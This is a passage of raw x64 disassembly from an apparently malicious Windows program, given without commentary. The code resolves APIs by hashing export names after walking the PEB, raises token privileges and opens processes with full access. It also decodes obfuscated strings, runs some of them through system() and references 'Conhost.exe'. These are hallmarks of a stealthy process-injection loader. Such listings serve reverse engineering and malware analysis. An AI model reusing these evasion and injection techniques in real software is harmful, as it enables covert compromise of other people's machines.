mov dword [rsp + 0x160], eax
jmp 0x140008fec
movsx eax, byte [rsp + 0x52]
mov dword [rsp + 0x160], eax
mov eax, dword [rsp + 0x160]
mov ecx, dword [rsp + 0x100]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x100], eax
jmp 0x140008f85
mov eax, dword [rsp + 0x368]
cmp dword [rsp + 0x36c], eax
jne 0x140009099
mov rax, qword [rsp + 0xcb8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x680], rax
mov rax, qword [rsp + 0xcb8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x678], rax
mov eax, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0x678]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x680]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x688], rax
mov rax, qword [rsp + 0x688]
mov qword [rsp + 0x2e0], rax
jmp 0x1400090ef
jmp 0x140008ebc
mov rax, qword [rsp + 0xc60]
mov qword [rsp + 0x690], rax
mov rax, qword [rsp + 0x690]
mov rax, qword [rax]
mov qword [rsp + 0x698], rax
mov rax, qword [rsp + 0x698]
mov qword [rsp + 0xc60], rax
mov byte [rsp + 0x5f], 1
movzx eax, byte [rsp + 0x5f]
test eax, eax
jne 0x140008dd5
mov qword [rsp + 0x2e0], 0
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0x6a8]
mov rax, qword [rax]
mov qword [rsp + 0x6c8], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x6b0], rax
mov rax, qword [rsp + 0x6b0]
mov eax, dword [rax]
mov dword [rsp + 0x258], eax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x6c0], rax
mov rax, qword [rsp + 0x6c0]
mov rax, qword [rax]
mov qword [rsp + 0x6d0], rax
mov r8, qword [rsp + 0x6c8]
mov edx, dword [rsp + 0x258]
mov rcx, qword [rsp + 0x6d0]
call qword [rsp + 0x2e0]
test eax, eax
je 0x140009594
mov dword [rsp + 0xd40], 1
mov eax, ntohl
imul rax, rax, 0
mov dword [rsp + rax + 0xd4c], 2
mov eax, ntohl
imul rax, rax, 0
lea rax, [rsp + rax + 0xd44]
mov r8, rax
lea rdx, [0x1400bd698]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400091ef
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0xd40]
xor edx, edx
mov rcx, qword [rsp + 0xc70]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rax, qword [rsp + 0x9f0]
mov qword [rsp + 0x300], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x6d8], rax
mov rax, qword [rsp + 0x6d8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x6e0], rax
mov rax, qword [rsp + 0x6e0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x6e8], rax
mov rax, qword [rsp + 0x6e8]
mov qword [rsp + 0xc68], rax
mov rax, qword [rsp + 0xc68]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0xcc8], rax
mov rax, qword [rsp + 0x200]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x200]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f0], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x6f0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x3d0], rax
mov eax, dword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x200]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd0], rax
mov eax, dword [rsp + 0x3d4]
mov dword [rsp + 0xcd8], eax
mov rax, qword [rsp + 0xcc8]
cmp qword [rsp + 0xcd0], rax
je 0x1400092f9
mov dword [rsp + 0x164], 1
jmp 0x140009304
mov dword [rsp + 0x164], 0
movzx eax, byte [rsp + 0x164]
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x60]
test eax, eax
je 0x140009511
mov rax, qword [rsp + 0xcd0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xcc], eax
mov eax, dword [rsp + 0xcc]
mov dword [rsp + 0x25c], eax
mov eax, dword [rsp + 0xcc]
dec eax
mov dword [rsp + 0xcc], eax
cmp dword [rsp + 0x25c], 0
je 0x140009511
mov eax, dword [rsp + 0x47c]
mov dword [rsp + 0x168], eax
movabs rax, 0xd85c856a7a2b1cd0
shr rax, 0x20
mov dword [rsp + 0x168], eax
mov rax, qword [rsp + 0x9f8]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0xcd0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xcc8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xcc]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xcc8]
mov qword [rsp + 0x3d8], rax
movabs rax, 0xd85c856a7a2b1cd0
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0x2e8], rax
mov eax, dword [rsp + 0x168]
mov dword [rsp + 0x104], eax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x2e8]
inc rax
mov qword [rsp + 0x2e8], rax
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x53], al
movsx eax, byte [rsp + 0x53]
test eax, eax
jne 0x14000943c
mov eax, dword [rsp + 0x104]
mov dword [rsp + 0x264], eax
jmp 0x140009486
xor eax, eax
test eax, eax
je 0x140009453
movsx eax, byte [rsp + 0x53]
or eax, 0x20
mov dword [rsp + 0x16c], eax
jmp 0x14000945f
movsx eax, byte [rsp + 0x53]
mov dword [rsp + 0x16c], eax
mov eax, dword [rsp + 0x16c]
mov ecx, dword [rsp + 0x104]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x104], eax
jmp 0x1400093f8
mov eax, dword [rsp + 0x260]
cmp dword [rsp + 0x264], eax
jne 0x14000950c
mov rax, qword [rsp + 0xcd0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xcc8]
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0xcd0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xcc8]
mov qword [rsp + 0x6f8], rax
mov eax, dword [rsp + 0xcc]
mov rcx, qword [rsp + 0x6f8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x700]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xcc8]
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x708]
mov qword [rsp + 0x300], rax
jmp 0x140009562
jmp 0x14000932f
mov rax, qword [rsp + 0xc68]
mov qword [rsp + 0x710], rax
mov rax, qword [rsp + 0x710]
mov rax, qword [rax]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x718]
mov qword [rsp + 0xc68], rax
mov byte [rsp + 0x62], 1
movzx eax, byte [rsp + 0x62]
test eax, eax
jne 0x140009248
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x720], rax
mov rax, qword [rsp + 0x720]
mov rax, qword [rax]
mov qword [rsp + 0x728], rax
mov rcx, qword [rsp + 0x728]
call qword [rsp + 0x300]
mov r8d, dword [rsp + 0x268]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0xc50], rax
cmp qword [rsp + 0xc50], 0
jne 0x140009618
mov dword [rsp + 0x26c], 0xfffffffe
lea rcx, [rsp + 0xda8]
call fcn.140020bd0
nop
lea rcx, [rsp + 0xd88]
call fcn.140020bd0
nop
lea rcx, [rsp + 0xd50]
call fcn.1400206d0
nop
lea rcx, [rsp + 0xd68]
call fcn.140020bd0
nop
lea rcx, [rsp + 0xdc8]
call fcn.140020bd0
mov eax, dword [rsp + 0x26c]
jmp 0x14000b073
mov eax, dword [str.ZVH_8]
mov dword [rsp + 0xec], eax
mov eax, 1
imul rax, rax, 3
movsx eax, byte [rsp + rax + 0xec]
test eax, eax
je 0x140009647
mov dword [rsp + 0x170], 1
jmp 0x140009652
mov dword [rsp + 0x170], 0
movzx eax, byte [rsp + 0x170]
test eax, eax
je 0x1400096cc
mov dword [rsp + 0x9c], 0
jmp 0x14000967b
mov eax, dword [rsp + 0x9c]
inc eax
mov dword [rsp + 0x9c], eax
cmp dword [rsp + 0x9c], 4
jge 0x1400096cc
movsxd rax, dword [rsp + 0x9c]
movsx eax, byte [rsp + rax + 0xec]
mov dword [rsp + 0x270], eax
mov eax, dword [rsp + 0x9c]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x270]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x9c]
mov byte [rsp + rcx + 0xec], al
jmp 0x14000966b
lea rax, [rsp + 0xec]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x738], rax
lea rax, [rsp + 0xae8]
lea rcx, [0x1400bed88]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_45
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x2c
movsx eax, byte [rsp + rax + 0xae8]
test eax, eax
je 0x14000972a
mov dword [rsp + 0x174], 1
jmp 0x140009735
mov dword [rsp + 0x174], 0
movzx eax, byte [rsp + 0x174]
test eax, eax
je 0x1400097af
mov dword [rsp + 0xa0], 0
jmp 0x14000975e
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0xa0], 0x2d
jge 0x1400097af
movsxd rax, dword [rsp + 0xa0]
movsx eax, byte [rsp + rax + 0xae8]
mov dword [rsp + 0x274], eax
mov eax, dword [rsp + 0xa0]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x274]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0xae8], al
jmp 0x14000974e
lea rax, [rsp + 0xae8]
mov qword [rsp + 0x730], rax
mov rdx, qword [rsp + 0x730]
mov rcx, qword [rsp + 0x738]
call fcn.140023a40
mov qword [rsp + 0x740], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x740]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0xa00]
mov qword [rsp + 0x3e8], rax
lea rax, [rsp + 0xd50]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x3e0]
mov rcx, qword [rcx]
mov rax, qword [rax + 8]
sub rax, rcx
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0xa08]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0xd50]
mov qword [rsp + 0x748], rax
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0x750], rax
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0xc50]
mov qword [rsp + 0x758], rax
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r8, qword [rsp + 0x3e8]
mov rdx, qword [rsp + 0x3f0]
mov rcx, qword [rsp + 0x758]
call fcn.140002f00
movzx eax, al
test eax, eax
jne 0x140009ccf
mov rax, qword [rsp + 0xa10]
mov qword [rsp + 0x318], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x760], rax
mov rax, qword [rsp + 0x760]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x768], rax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x770], rax
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0xc78], rax
mov rax, qword [rsp + 0xc78]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0xce0], rax
mov rax, qword [rsp + 0x208]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x208]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x778], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x778]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x3f8], rax
mov eax, dword [rsp + 0x3f8]
mov rcx, qword [rsp + 0x208]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce8], rax
mov eax, dword [rsp + 0x3fc]
mov dword [rsp + 0xcf0], eax
mov rax, qword [rsp + 0xce0]
cmp qword [rsp + 0xce8], rax
je 0x1400099d8
mov dword [rsp + 0x178], 1
jmp 0x1400099e3
mov dword [rsp + 0x178], 0
movzx eax, byte [rsp + 0x178]
mov byte [rsp + 0x63], al
movzx eax, byte [rsp + 0x63]
test eax, eax
je 0x140009bf0
mov rax, qword [rsp + 0xce8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xd0], eax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x278], eax
mov eax, dword [rsp + 0xd0]
dec eax
mov dword [rsp + 0xd0], eax
cmp dword [rsp + 0x278], 0
je 0x140009bf0
mov eax, dword [rsp + 0x480]
mov dword [rsp + 0x17c], eax
movabs rax, 0x80831923f471698
shr rax, 0x20
mov dword [rsp + 0x17c], eax
mov rax, qword [rsp + 0xa18]
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0xce8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xce0]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xd0]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xce0]
mov qword [rsp + 0x400], rax
movabs rax, 0x80831923f471698
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x27c], eax
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x308], rax
mov eax, dword [rsp + 0x17c]
mov dword [rsp + 0x108], eax
mov rax, qword [rsp + 0x308]
movzx eax, byte [rax]
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x308]
inc rax
mov qword [rsp + 0x308], rax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x54], al
movsx eax, byte [rsp + 0x54]
test eax, eax
jne 0x140009b1b
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x280], eax
jmp 0x140009b65
xor eax, eax
test eax, eax
je 0x140009b32
movsx eax, byte [rsp + 0x54]
or eax, 0x20
mov dword [rsp + 0x180], eax
jmp 0x140009b3e
movsx eax, byte [rsp + 0x54]
mov dword [rsp + 0x180], eax
mov eax, dword [rsp + 0x180]
mov ecx, dword [rsp + 0x108]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x108], eax
jmp 0x140009ad7
mov eax, dword [rsp + 0x27c]
cmp dword [rsp + 0x280], eax
jne 0x140009beb
mov rax, qword [rsp + 0xce8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xce0]
mov qword [rsp + 0x788], rax
mov rax, qword [rsp + 0xce8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xce0]
mov qword [rsp + 0x780], rax
mov eax, dword [rsp + 0xd0]
mov rcx, qword [rsp + 0x780]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x788]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xce0]
mov qword [rsp + 0x790], rax
mov rax, qword [rsp + 0x790]
mov qword [rsp + 0x318], rax
jmp 0x140009c41
jmp 0x140009a0e
mov rax, qword [rsp + 0xc78]
mov qword [rsp + 0x798], rax
mov rax, qword [rsp + 0x798]
mov rax, qword [rax]
mov qword [rsp + 0x7a0], rax
mov rax, qword [rsp + 0x7a0]
mov qword [rsp + 0xc78], rax
mov byte [rsp + 0x65], 1
movzx eax, byte [rsp + 0x65]
test eax, eax
jne 0x140009927
mov qword [rsp + 0x318], 0
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x7a8], rax
mov rax, qword [rsp + 0x7a8]
mov rax, qword [rax]
mov qword [rsp + 0x7b0], rax
mov rcx, qword [rsp + 0x7b0]
call qword [rsp + 0x318]
mov dword [rsp + 0x284], 0xfffffff8
lea rcx, [rsp + 0xda8]
call fcn.140020bd0
nop
lea rcx, [rsp + 0xd88]
call fcn.140020bd0
nop
lea rcx, [rsp + 0xd50]
call fcn.1400206d0
nop
lea rcx, [rsp + 0xd68]
call fcn.140020bd0
nop
lea rcx, [rsp + 0xdc8]
call fcn.140020bd0
mov eax, dword [rsp + 0x284]
jmp 0x14000b073
lea rdx, [rsp + 0x484]
lea rcx, [rsp + 0xf6]
call fcn.14000b090
mov qword [rsp + 0x210], rax
mov eax, 1
imul rax, rax, 3
mov rcx, qword [rsp + 0x210]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140009d12
mov dword [rsp + 0x184], 1
jmp 0x140009d1d
mov dword [rsp + 0x184], 0
movzx eax, byte [rsp + 0x184]
test eax, eax
je 0x140009d9f
mov dword [rsp + 0xa4], 0
jmp 0x140009d46
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 4
jge 0x140009d9f
movsxd rax, dword [rsp + 0xa4]
mov rcx, qword [rsp + 0x210]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x288], eax
mov eax, dword [rsp + 0xa4]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x288]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xa4]
mov rdx, qword [rsp + 0x210]
mov byte [rdx + rcx], al
jmp 0x140009d36
mov rax, qword [rsp + 0x210]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x7c0], rax
lea rdx, [rsp + 0xbd0]
lea rcx, [rsp + 0xf5]
call fcn.14000b0b0
mov qword [rsp + 0x218], rax
mov eax, 1
imul rax, rax, 0x2c
mov rcx, qword [rsp + 0x218]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140009e02
mov dword [rsp + 0x188], 1
jmp 0x140009e0d
mov dword [rsp + 0x188], 0
movzx eax, byte [rsp + 0x188]
test eax, eax
je 0x140009e8f
mov dword [rsp + 0xa8], 0
jmp 0x140009e36
mov eax, dword [rsp + 0xa8]
inc eax
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 0x2d
jge 0x140009e8f
movsxd rax, dword [rsp + 0xa8]
mov rcx, qword [rsp + 0x218]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x28c], eax
mov eax, dword [rsp + 0xa8]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x28c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xa8]
mov rdx, qword [rsp + 0x218]
mov byte [rdx + rcx], al
jmp 0x140009e26
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x7b8], rax
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rsp + 0x7c0]
call fcn.140023a40
mov qword [rsp + 0x7c8], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x7c8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0xa20]
mov qword [rsp + 0x2d8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x7d0], rax
mov rax, qword [rsp + 0x7d0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x7d8], rax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x7e0], rax
mov rax, qword [rsp + 0x7e0]
mov qword [rsp + 0xc90], rax
mov rax, qword [rsp + 0xc90]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0xcf8], rax
mov rax, qword [rsp + 0x220]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e8], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x7e8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x408], rax
mov eax, dword [rsp + 0x408]
mov rcx, qword [rsp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd00], rax
mov eax, dword [rsp + 0x40c]
mov dword [rsp + 0xd08], eax
mov rax, qword [rsp + 0xcf8]
cmp qword [rsp + 0xd00], rax
je 0x140009fdb
mov dword [rsp + 0x18c], 1
jmp 0x140009fe6
mov dword [rsp + 0x18c], 0
movzx eax, byte [rsp + 0x18c]
mov byte [rsp + 0x66], al
movzx eax, byte [rsp + 0x66]
test eax, eax
je 0x14000a1f3
mov rax, qword [rsp + 0xd00]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xd4], eax
mov eax, dword [rsp + 0xd4]
mov dword [rsp + 0x290], eax
mov eax, dword [rsp + 0xd4]
dec eax
mov dword [rsp + 0xd4], eax
cmp dword [rsp + 0x290], 0
je 0x14000a1f3
mov eax, dword [rsp + 0x488]
mov dword [rsp + 0x190], eax
movabs rax, 0x9e57c063e8265fb7
shr rax, 0x20
mov dword [rsp + 0x190], eax
mov rax, qword [rsp + 0x960]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0xd00]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xcf8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xd4]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xcf8]
mov qword [rsp + 0x410], rax
movabs rax, 0x9e57c063e8265fb7
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x294], eax
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x350], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x10c], eax
mov rax, qword [rsp + 0x350]
movzx eax, byte [rax]
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x350]
inc rax
mov qword [rsp + 0x350], rax
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x55], al
movsx eax, byte [rsp + 0x55]
test eax, eax
jne 0x14000a11e
mov eax, dword [rsp + 0x10c]
mov dword [rsp + 0x298], eax
jmp 0x14000a168
xor eax, eax
test eax, eax
je 0x14000a135
movsx eax, byte [rsp + 0x55]
or eax, 0x20
mov dword [rsp + 0x194], eax
jmp 0x14000a141
movsx eax, byte [rsp + 0x55]
mov dword [rsp + 0x194], eax
mov eax, dword [rsp + 0x194]
mov ecx, dword [rsp + 0x10c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x10c], eax
jmp 0x14000a0da
mov eax, dword [rsp + 0x294]
cmp dword [rsp + 0x298], eax
jne 0x14000a1ee
mov rax, qword [rsp + 0xd00]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xcf8]
mov qword [rsp + 0x7f8], rax
mov rax, qword [rsp + 0xd00]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xcf8]
mov qword [rsp + 0x7f0], rax
mov eax, dword [rsp + 0xd4]
mov rcx, qword [rsp + 0x7f0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x7f8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xcf8]
mov qword [rsp + 0x800], rax
mov rax, qword [rsp + 0x800]
mov qword [rsp + 0x2d8], rax
jmp 0x14000a244
jmp 0x14000a011
mov rax, qword [rsp + 0xc90]
mov qword [rsp + 0x808], rax
mov rax, qword [rsp + 0x808]
mov rax, qword [rax]
mov qword [rsp + 0x810], rax
mov rax, qword [rsp + 0x810]
mov qword [rsp + 0xc90], rax
mov byte [rsp + 0x68], 1
movzx eax, byte [rsp + 0x68]
test eax, eax
jne 0x140009f2a
mov qword [rsp + 0x2d8], 0
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x818], rax
mov rax, qword [rsp + 0x818]
mov rax, qword [rax]
mov qword [rsp + 0x820], rax
mov rcx, qword [rsp + 0x820]
call qword [rsp + 0x2d8]
mov qword [rsp + 0x968], 0
mov qword [rsp + 0x970], 0
movzx eax, byte [0x1400ce264]
test eax, eax
jne 0x14000aaa3
lea rax, str.Windows__
mov qword [rsp + 0x828], rax
lea rax, str.Conhost.exe__
mov qword [rsp + 0x8a8], rax
mov rax, qword [rsp + 0x828]
mov qword [rsp + 0x878], rax
lea rax, [0x1400064a0]
mov qword [rsp + 0x888], rax
mov rax, qword [rsp + 0x978]
mov qword [rsp + 0x310], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x830], rax
mov rax, qword [rsp + 0x830]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0x838]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x840], rax
mov rax, qword [rsp + 0x840]
mov qword [rsp + 0xc80], rax
mov rax, qword [rsp + 0xc80]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0xd10], rax
mov rax, qword [rsp + 0x228]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x848], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x848]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x418], rax
mov eax, dword [rsp + 0x418]
mov rcx, qword [rsp + 0x228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd18], rax
mov eax, dword [rsp + 0x41c]
mov dword [rsp + 0xd20], eax
mov rax, qword [rsp + 0xd10]
cmp qword [rsp + 0xd18], rax
je 0x14000a3e4
mov dword [rsp + 0x198], 1
jmp 0x14000a3ef
mov dword [rsp + 0x198], 0
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x69], al
movzx eax, byte [rsp + 0x69]
test eax, eax
je 0x14000a5fc
mov rax, qword [rsp + 0xd18]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xd8], eax
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x29c], eax
mov eax, dword [rsp + 0xd8]
dec eax
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0x29c], 0
je 0x14000a5fc
mov eax, dword [rsp + 0x48c]
mov dword [rsp + 0x19c], eax
movabs rax, 0xd90320b51967c28d
shr rax, 0x20
mov dword [rsp + 0x19c], eax
mov rax, qword [rsp + 0x980]
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0xd18]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xd10]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xd8]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xd10]
mov qword [rsp + 0x420], rax
movabs rax, 0xd90320b51967c28d
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x2a0], eax
mov rax, qword [rsp + 0x420]
mov qword [rsp + 0x2f0], rax
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x2f0]
inc rax
mov qword [rsp + 0x2f0], rax
movzx eax, byte [rsp + 0x6a]
mov byte [rsp + 0x56], al
movsx eax, byte [rsp + 0x56]
test eax, eax
jne 0x14000a527
mov eax, dword [rsp + 0x110]
mov dword [rsp + 0x2a4], eax
jmp 0x14000a571
xor eax, eax
test eax, eax
je 0x14000a53e
movsx eax, byte [rsp + 0x56]
or eax, 0x20
mov dword [rsp + 0x1a0], eax
jmp 0x14000a54a
movsx eax, byte [rsp + 0x56]
mov dword [rsp + 0x1a0], eax
mov eax, dword [rsp + 0x1a0]
mov ecx, dword [rsp + 0x110]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x110], eax
jmp 0x14000a4e3
mov eax, dword [rsp + 0x2a0]
cmp dword [rsp + 0x2a4], eax
jne 0x14000a5f7
mov rax, qword [rsp + 0xd18]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xd10]
mov qword [rsp + 0x858], rax
mov rax, qword [rsp + 0xd18]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xd10]
mov qword [rsp + 0x850], rax
mov eax, dword [rsp + 0xd8]
